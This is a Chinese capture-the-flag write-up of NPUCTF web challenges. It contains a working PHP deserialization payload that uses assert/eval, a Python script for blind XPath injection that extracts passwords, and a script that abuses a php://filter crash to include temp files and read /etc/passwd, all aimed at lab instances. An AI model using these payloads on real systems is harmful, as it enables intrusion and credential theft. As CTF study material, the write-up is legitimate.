Background

NPUCTF === "真(雾)萌新赛"

Ezphp

test01.png
进入得到代码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]); 

比较有意思的点就是 $b($a) 这种动态的利用点可以用这种方式
assert('eval("phpinfo();")')
来执行
所以构造一下

<?php
 class HelloPhp
{
public $a = 'eval("phpinfo();")';
public $b = 'assert';
}
$c = new HelloPhp();
echo serialize($c);
?>

得到O:8:"HelloPhp":2:{s:1:"a";s:18:"eval("phpinfo();")";s:1:"b";s:6:"assert";}
传入?data
flag在环境变量里面
02.png

Eazy login

xml注入
学习链接:https://www.tr0y.wang/2019/05/11/XPath%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/#%E5%B8%B8%E8%A7%84%E6%B3%A8%E5%85%A5
反正一般思路就是试试万能密码 不行就布尔盲注
原理是不断判断节点个数 然后判断节点名

u = "' or count(/)=1 or '1" 节点为1返回正常

u = "' or string-length(name(/*[1]))=1 or '1" 判断节点长度
u = "' or substring(name(/*[1]), 1, 1)='a' or '1"判断节点字符

脚本从别的师傅嫖来的通用的

# coding=utf-8
import requests


def req(username):
    import re
    url = 'http://752c3873-d15e-401f-b751-37c9ff2fbcf6.node3.buuoj.cn/'
    s = requests.session()
    r = s.get(url).content
    # print r.decode('utf-8')
    re = re.search(r'value="(.*?)" />', r.decode('utf-8'))
    token = re.group(0)[7:-4]
    # print token
    headers = {
        'Content-Type': 'application/xml',
    }
    password = ''
    data = '<username>'+username+'</username>' \
            '<password>'+password+'</password>' \
            '<token>'+token+'</token>'
    r = s.post(url, headers=headers, data=data).content
    # print r.content.decode('utf-8')
    if '非法操作' in r.decode('utf-8'):
        print("ok")
        return 1
    else:
        return 0


def test():
    req("2' or '1")
    req("2' or 1 or '1")


def getlen():
    len = 0
    for i in range(1, 40):
        # username = "' or string-length(name(/*[1]))={} or '1".format(i)
        # username = "' or string-length(name(/root/*[1]))={} or '1".format(i)
        # username = "' or string-length(name(/root/accounts/user/*[3]))={} or '1".format(i)
        username = "' or string-length(/root/accounts/user[2]/password/text())={} or '1".format(i)
        print(username)
        res = req(username)
        if res == 1:
            return i


len = getlen()
flag = ""
for i in range(len):
    for j in range(40, 127):
        # username = "'or substring(name(/*[1]), {}, 1)='{}' or'1".format(i + 1, chr(j))
        # username = "'or substring(name(/root*[1]), {}, 1)='{}' or'1".format(i + 1, chr(j))
        # username = "'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or'1".format(i + 1, chr(j))
        # id,username,password
        username = "'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or'1".format(i + 1, chr(j))
        print(username)
        res = req(username)
        if res == 1:
            flag += chr(j)
            print(flag)
            break

爆出来密码的md5 cf7414b5bdb2e65ee43083f4ddbc4d9f
解密后直接登录
这题坑点说眼睛问题 我在爆username时候没注意是adm1n
登陆之后的页面很漂亮
2.png
发现file尝试php伪协议
被ban掉尝试大小写替换
3.png

Ez include

提示:md5($secret.$name)===$pass
利用hashpdump:HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具,支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响,因其部分避免了对状态变量的输出,并不输出全部的状态变量。
得到下一关 flflflflag.php
发现有重定向 所以抓包
12.png
提示可以进行文件包含
扫目录只有一个dir.php
了解到hint:

利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
PHP版本<7.2,利用php崩溃留下临时文件

po出来一个脚本

import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://b23edac3-365a-44a5-b0ff-906f98daf2db.node3.buuoj.cn/flflflflag.php?"\
      +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

得到临时文件
12.png
然后用file包含之
12.png
flag在phpinfo里面
推荐阅读:https://bbs.zkaq.cn/t/3639.html
本质:崩溃 包含临时文件

web狗

白嫖脚本
3.png